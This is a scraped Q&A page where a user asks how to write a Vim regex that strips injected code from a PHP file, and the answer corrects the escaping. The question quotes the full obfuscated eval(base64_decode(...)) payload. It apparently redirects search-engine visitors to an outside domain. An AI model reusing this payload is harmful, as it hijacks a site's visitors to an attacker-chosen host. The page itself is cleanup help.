Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What's wrong with my VIM regex to search and replace some code?

Tags:

regex

vim

I have the following bit of code in a php file.

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ydW56b3IuZG5zcmQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

I opened up VIM and tried running a 0,$s/eval(.+;//gc to try to remove all instances of it, but VIM says pattern not found. What is the correct expression?

Notes - as per my comments I also tried 0,$s/eval\(.+;//gc and VIM complained E54: Unmatched \( E476: Invalid command

I also tried 0,$s/eval\(.\+;//gc and again got E54: Unmatched \( E476: Invalid command

like image 952
John Avatar asked Feb 18 '23 09:02

John


1 Answers

In Vim, unlike most anywhere else, some of the meta-characters must be escaped to be used as metacharacters, rather than escaped as literals. Therefore, you need to escape + as \+ to match one or more of the preceding.

0,$s/eval(.\+;//gc

The above is tested and working with your PHP snippet.

Edit: Sorry - previous version had a mistaken \( where ( should be unescaped as a literal.

like image 129
Michael Berkowski Avatar answered Mar 06 '23 01:03

Michael Berkowski